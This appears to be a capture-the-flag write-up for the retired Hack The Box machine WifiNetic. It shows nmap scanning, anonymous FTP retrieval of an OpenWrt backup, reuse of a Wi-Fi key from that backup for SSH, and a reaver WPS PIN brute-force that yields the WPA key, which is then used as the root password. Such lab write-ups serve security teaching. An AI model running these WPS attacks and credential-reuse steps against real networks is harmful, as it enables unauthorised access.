

WifiNetic (Easy)

Author - felamos
Retired Machine



WifiNetic



OS	RELEASE DATE	DIFFICULTY	MACHINE STATE
Linux	13 Sep 2023	Easy	Retired

WriteUp made by Scott (Sylph404)

Enumeration:

Nmap Scan

```
Kali Retired/Wifinetic » sudo nmap -sCV -p- -T4 --open -sS --min-rate 5000 10.10.11.247 -oA wifinetic
```

```
Kali Retired/Wifinetic » sudo nmap -sCV -p- -T4 --open -sS --min-rate 5000 10.10.11.247 -oA wifinetic
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-13 23:15 +0545
Nmap scan report for 10.10.11.247 (10.10.11.247)
Host is up (0.29s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to ::ffff:10.10.14.116
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  At session startup, client count was 3
|_  vsFTPD 3.0.3 - secure, fast, stable
|_End of status.
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r-- 1 ftp ftp 4434 Jul 31 11:03 MigrateOpenWrt.txt
|_rw-r--r-- 1 ftp ftp 2501210 Jul 31 11:03 ProjectGreatMigration.pdf
|_rw-r--r-- 1 ftp ftp 60857 Jul 31 11:03 ProjectOpenWRT.pdf
|_rw-r--r-- 1 ftp ftp 40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
|_rw-r--r-- 1 ftp ftp 52946 Jul 31 11:03 employees_wellness.pdf
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_ 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_ 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
S3/tcp    open  tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.94 seconds
```

It looks like ftp login. So login there. As we can see in the result of nmap scan, Anonymous login is allowed.

```
Kali Retired/Wifinetic » ftp 10.10.11.247
Connected to 10.10.11.247.
220 (vsFTPD 3.0.3)
Name (10.10.11.247:scott): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Anonymous login successful.

Listing the different files and folders in Ftp 10.10.11.247

```
ftp> ls
229 Entering Extended Passive Mode (|||46189|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r-- 1 ftp ftp 2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r-- 1 ftp ftp 60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r-- 1 ftp ftp 40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r-- 1 ftp ftp 52946 Jul 31 11:03 employees_wellness.pdf
226 Directory send OK.
ftp>
```

Getting files from Ftp server of Wifinetic to local machine.

```
ftp> get MigrateOpenWrt.txt
local: MigrateOpenWrt.txt remote: MigrateOpenWrt.txt
229 Entering Extended Passive Mode (|||42652|)
150 Opening BINARY mode data connection for MigrateOpenWrt.txt (4434 bytes).
100% |*****| 4434 44.04 MiB/s 00:00 ETA
226 Transfer complete.
4434 bytes received in 00:00 (13.31 KiB/s)
ftp> get ProjectGreatMigration.pdf
local: ProjectGreatMigration.pdf remote: ProjectGreatMigration.pdf
229 Entering Extended Passive Mode (|||48590|)
150 Opening BINARY mode data connection for ProjectGreatMigration.pdf (2501210 bytes).
100% |*****| 2442 KiB 186.33 KiB/s 00:00 ETA
226 Transfer complete.
2501210 bytes received in 00:13 (182.08 KiB/s)
ftp> get ProjectOpenWRT.pdf
local: ProjectOpenWRT.pdf remote: ProjectOpenWRT.pdf
229 Entering Extended Passive Mode (|||45905|)
150 Opening BINARY mode data connection for ProjectOpenWRT.pdf (60857 bytes).
100% |*****| 60857 96.65 KiB/s 00:00 ETA
226 Transfer complete.
60857 bytes received in 00:00 (64.52 KiB/s)
ftp> get backup-OpenWrt-2023-07-26.tar
local: backup-OpenWrt-2023-07-26.tar remote: backup-OpenWrt-2023-07-26.tar
229 Entering Extended Passive Mode (|||48207|)
150 Opening BINARY mode data connection for backup-OpenWrt-2023-07-26.tar (40960 bytes).
100% |*****| 40960 122.63 KiB/s 00:00 ETA
226 Transfer complete.
40960 bytes received in 00:00 (63.26 KiB/s)
ftp> get employees_wellness.pdf
local: employees_wellness.pdf remote: employees_wellness.pdf
229 Entering Extended Passive Mode (|||47378|)
150 Opening BINARY mode data connection for employees_wellness.pdf (52946 bytes).
100% |*****| 52946 89.15 KiB/s 00:00 ETA
226 Transfer complete.
52946 bytes received in 00:00 (56.14 KiB/s)
ftp> |
```

There is backup-OpenWrt-2023-07-26.tar in ftp server. So extract it.

"Pasted image 20230913235237.png" is not created yet. Click to create.

When I read backup-OpenWrt-2023-07-26.tar , there is `/etc/passwd` file inside etc folder. Lets get it first.

```
Kali Retired/Wifinetic » cd etc
Kali Wifinetic/etc » ls
config dropbear group hosts inittab luci-uploads nftables.d opkg passwd profile rc.local shells shinit sysctl.conf uhttpd.crt uhttpd.key
Kali Wifinetic/etc » cat passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999:/home/netadmin:/bin/false
```

So user might be netadmin .I guess.


Now,

lets see if I can get password for user in this files. When i continuously reading files. I get config/wireless file which password was set there.

```
Kali Wifinetic/etc » cat config/wireless
```

```
config wifi-device 'radio0'  
    option type 'mac80211'  
    option path 'virtual/mac80211_hwsim/hwsim0'  
    option cell_density '0'  
    option channel 'auto'  
    option band '2g'  
    option txpower '20'
```

```
config wifi-device 'radio1'  
    option type 'mac80211'  
    option path 'virtual/mac80211_hwsim/hwsim1'  
    option channel '36'  
    option band '5g'  
    option htmode 'HE80'  
    option cell_density '0'
```

```
config wifi-iface 'wifinet0'  
    option device 'radio0'  
    option mode 'ap'  
    option ssid 'OpenWrt'  
    option encryption 'psk'  
    option key 'VeRyUniUqWiFiPasswrd1!'   
    option wps_pushbutton '1'
```

```
config wifi-iface 'wifinet1'  
    option device 'radio1'  
    option mode 'sta'  
    option network 'wwan'  
    option ssid 'OpenWrt'  
    option encryption 'psk'  
    option key 'VeRyUniUqWiFiPasswrd1!'
```

Lets grab these password if ssh might works for `netadmin` .

pass: `VeRyUniUqWiFiPasswrd1!`

```
Kali Wifinetic/etc » ssh netadmin@10.10.11.247
netadmin@10.10.11.247's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Thu 14 Sep 2023 10:01:17 AM UTC

System load:          0.08
Usage of /:           65.8% of 4.76GB
Memory usage:         6%
Swap usage:           0%
Processes:            231
Users logged in:      1
IPv4 address for eth0: 10.10.11.247
IPv6 address for eth0: dead:beef::250:56ff:feb9:4fd9
IPv4 address for wlan0: 192.168.1.1
IPv4 address for wlan1: 192.168.1.23

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Sep 14 10:01:16 2023 from 10.10.16.58
netadmin@wifinetic:~$
```

Successfully working. Lets grab `user.txt`

```
netadmin@wifinetic:~$ cat user.txt
[REDACTED]
netadmin@wifinetic:~$
```

`sudo -l` might not work for user netadmin.

```
netadmin@wifinetic:~$ sudo -l
[sudo] password for netadmin:
Sorry, user netadmin may not run sudo on wifinetic.
netadmin@wifinetic:~$
```

So Lets try linpeas to get more informations. But I found something interesting called reaver which might be related to wireless interface `mon0`

```
Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep
```

Users with capabilities

<https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities>

Checking interfaces `ifconfig`.

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 20172 bytes 1212472 (1.2 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20172 bytes 1212472 (1.2 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

mon0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    unspec 02:00:00:00:02:00-3A:00:00:00:00:00 txqueuelen 1000 (UNSPEC)
    RX packets 83201 bytes 14747170 (14.7 MB)
    RX errors 0 dropped 82070 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::ff:fe00:0 prefixlen 64 scopeid 0x20<link>
    ether 02:00:00:00:00:00 txqueuelen 1000 (Ethernet)
    RX packets 1563 bytes 167952 (167.9 KB)
    RX errors 0 dropped 391 overruns 0 frame 0
    TX packets 2012 bytes 258890 (258.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.23 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::ff:fe00:100 prefixlen 64 scopeid 0x20<link>
    ether 02:00:00:00:01:00 txqueuelen 1000 (Ethernet)
    RX packets 828 bytes 115435 (115.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1556 bytes 194956 (194.9 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 02:00:00:00:02:00 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

So there is the different interfaces including `mon0`, `wlan0`, etc
In `mon0`, specialized mode for wireless network interfaces that allows them to capture and analyze wireless traffic on the network without actively participating in it as a connected device.

Lets check if we find on `iwconfig` (used to configure and display information about wireless network interfaces.)

```

netadmin@wifinetic:~$ iwconfig
wlan2 IEEE 802.11 ESSID:off/any
      Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
      Retry short limit:7 RTS thr:off Fragment thr:off
      Power Management:on

eth0 no wireless extensions.

wlan1 IEEE 802.11 ESSID:off/any
      Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
      Retry short limit:7 RTS thr:off Fragment thr:off
      Power Management:on

lo no wireless extensions.

mon0 IEEE 802.11 Mode:Monitor Tx-Power=20 dBm
      Retry short limit:7 RTS thr:off Fragment thr:off
      Power Management:on

hwsim0 no wireless extensions.

wlan0 IEEE 802.11 Mode:Master Tx-Power=20 dBm
      Retry short limit:7 RTS thr:off Fragment thr:off
      Power Management:on

```

There might be different services running on the machine related to interfaces.

```
netadmin@wifinetic:~$ systemctl
```

systemd-update-utmp.service	loaded active exited	Update UTMP about System Boot/Shutdown
systemd-user-sessions.service	loaded active exited	Permit User Sessions
udisks2.service	loaded active running	Disk Manager
user-runtime-dir@1000.service	loaded active exited	User Runtime Directory /run/user/1000
user@1000.service	loaded active running	User Manager for UID 1000
vgauth.service	loaded active running	Authentication service for virtual machines hosted on VMware
vsftpd.service	loaded active running	vsftpd FTP server
wpa_supplicant.service	loaded active running	WPA supplicant
wps_check.service	loaded active running	WPS Check
-.slice	loaded active active	Root Slice
system-getty.slice	loaded active active	system-getty.slice
system-modprobe.slice	loaded active active	system-modprobe.slice
system.slice	loaded active active	System Slice
user-1000.slice	loaded active active	User Slice of UID 1000
user.slice	loaded active active	User and Session Slice
dbus.socket	loaded active running	D-Bus System Message Bus Socket
dm-event.socket	loaded active listening	Device-mapper event daemon FIFOs
iscsid.socket	loaded active listening	Open-iscsi iscsid Socket
lvm2-lvmpolld.socket	loaded active listening	LVM2 poll daemon socket
multipathd.socket	loaded active running	multipathd control socket
snappd.socket	loaded active running	Socket activation for snappy daemon
syslog.socket	loaded active running	Syslog Socket
systemd-initctl.socket	loaded active listening	initctl Compatibility Named Pipe
systemd-journald-audit.socket	loaded active running	Journal Audit Socket
systemd-journald-dev-log.socket	loaded active running	Journal Socket (/dev/log)
systemd-journald.socket	loaded active running	Journal Socket
systemd-rfkill.socket	loaded active listening	Load/Save RF Kill Switch Status /dev/rfkill Watch
systemd-udevd-control.socket	loaded active running	udev Control Socket
systemd-udevd-kernel.socket	loaded active running	udev Kernel Socket
uuidd.socket	loaded active listening	UUID daemon activation socket
dev-sda3.swap	loaded active active	/dev/sda3
basic.target	loaded active active	Basic System
cryptsetup.target	loaded active active	Local Encrypted Volumes
getty-pre.target	loaded active active	Login Prompts (Pre)
getty.target	loaded active active	Login Prompts
graphical.target	loaded active active	Graphical Interface
local-fs-pre.target	loaded active active	Local File Systems (Pre)
local-fs.target	loaded active active	Local File Systems
multi-user.target	loaded active active	Multi-User System
network-online.target	loaded active active	Network is Online
network.target	loaded active active	Network
nss-lookup.target	loaded active active	Host and Network Name Lookups
nss-user-lookup.target	loaded active active	User and Group Name Lookups
paths.target	loaded active active	Paths

wpa_supplicant.service is service running on the machine.

```
netadmin@wifinetic:~$ systemctl status wpa_supplicant.service
```

```
netadmin@wifinetic:~$ systemctl status wpa_supplicant.service
● wpa_supplicant.service - WPA supplicant
   Loaded: loaded (/lib/systemd/system/wpa_supplicant.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2023-09-15 15:52:45 UTC; 20s ago
     Main PID: 74567 (wpa_supplicant)
        Tasks: 1 (limit: 4595)
       Memory: 1.2M
      CGroup: /system.slice/wpa_supplicant.service
              └─74567 /sbin/wpa_supplicant -u -s -c /etc/wpa_supplicant.conf -i wlan1
```

wpa_supplicant service is running as expected and managing wireless connections on system using the configuration specified in `/etc/wpa_supplicant.conf` for the 'wlan1' interface.

```
netadmin@wifinetic:~$ cat /etc/wpa_supplicant.conf
cat: /etc/wpa_supplicant.conf: Permission denied
```

Got permission denied. Lets gather more information.

I googled to gain more information about iwconfig.

Link- <https://unix.stackexchange.com/questions/743292/can-iwconfig-performance-metrics-be-obtained-with-iw>

```
netadmin@wifinetic:/tmp$ iw dev
```



```

netadmin@wifinetic:/tmp$ iw dev
phy#2
    Interface mon0
        ifindex 7
        wdev 0x200000002
        addr 02:00:00:00:02:00
        type monitor
        txpower 20.00 dBm
    Interface wlan2
        ifindex 5
        wdev 0x200000001
        addr 02:00:00:00:02:00
        type managed
        txpower 20.00 dBm
phy#1
    Unnamed/non-netdev interface
        wdev 0x10000010a
        addr 42:00:00:00:01:00
        type P2P-device
        txpower 20.00 dBm
    Interface wlan1
        ifindex 4
        wdev 0x100000001
        addr 02:00:00:00:01:00
        ssid OpenWrt
        type managed
        channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
        txpower 20.00 dBm
phy#0
    Interface wlan0
        ifindex 3
        wdev 0x1
        addr 02:00:00:00:00:00
        ssid OpenWrt
        type AP
        channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
        txpower 20.00 dBm

```

lets be sure if it has exploit with reaver (previously i found it)
or not with the help of `getcap`.

```

netadmin@wifinetic:/tmp$ getcap -r / 2> /dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep

```

potentially perform a WPS PIN attack using reaver.

<https://askubuntu.com/questions/601489/unable-to-initialize-mon0-interface>

```

netadmin@wifinetic:/tmp$ reaver -i mon0 -b 02:00:00:00:02:00 -v

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:02:00

```

```

netadmin@wifinetic:/tmp$ reaver -i mon0 -b 02:00:00:00:00:00 -v

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[!] Found packet with bad FCS, skipping...
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] 0.00% complete @ 2023-09-15 16:24:18 (0 seconds/pin)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAndWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
netadmin@wifinetic:/tmp$

```

Reaver tool to attempt a WPS attack on two different devices with MAC addresses `02:00:00:00:00:00` and `02:00:00:00:02:00`. The tool successfully received a beacon and proceeded to attempt to guess the WPS PIN for the device with MAC address `02:00:00:00:00:00` because it must attack vicim's addresses on wlan0. However, it appears that did not receive a beacon from the device with MAC address `02:00:00:00:02:00`

Successfully got password for root .Lets grabbed it up.

```

netadmin@wifinetic:/tmp$ su root
Password:
root@wifinetic:/tmp# cd /root
root@wifinetic:~# cat root.txt
[REDACTED]
root@wifinetic:~#

```

The End !